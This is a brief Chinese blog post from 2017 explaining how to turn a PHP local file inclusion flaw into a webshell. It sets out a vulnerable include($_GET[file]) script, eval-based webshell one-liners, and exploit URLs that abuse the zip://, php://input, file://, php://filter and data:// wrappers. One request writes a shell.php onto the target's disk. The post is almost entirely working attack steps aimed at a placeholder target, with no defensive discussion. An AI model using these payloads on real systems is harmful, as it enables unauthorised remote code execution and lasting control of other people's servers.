PHP

php伪协议的使用[获得webshell]

2017-10-04  本文已影响315人  jessica1123

一张简单的图就能看懂

Paste_Image.png

更详细的解读:http://www.freebuf.com/column/148886.html

如何获得一个webshell?

假设文件包含漏洞文件test.php的后台代码为:

<?php
include($_GET[file]);
?>
  1. 如果该站点有文件上传功能,则可以结合上传功能和本地文件包含漏洞获得webshell,下面提供使用zip://协议的一种方法
    具体步骤:(此处用上传图片功能举例,具体上传的绕过在此处不考虑)
<?php
@eval($_GET[value]);
?>
http://xxxxx/test.php?file=zip://upload/shell.jpg%23shell.php
#xxxxx为目标ip或者域名

2.如果该站点没有文件上传功能,但是allow_url_include=On的话,可以使用php://input在目标机的一个可写目录下面写一个shell.php

#url
http://xxxxx/test.php?file=php://input
#POST
<?php fputs(fopen('/root/hello/shell.php','w'),'<?php @eval($_POST[v]);?>')?>
Paste_Image.png Paste_Image.png
#file
http://xxxxx/test.php?file=file:///root/hello/shell.php
#php://filter
http://xxxxx/test.php?file=php://filter/resource=/root/hello/shell.php

这样就能成功获得websehll了~当然,如果allow_url_fopen=On的话,也可以用data://生成shell.php

上一篇下一篇

猜你喜欢

热点阅读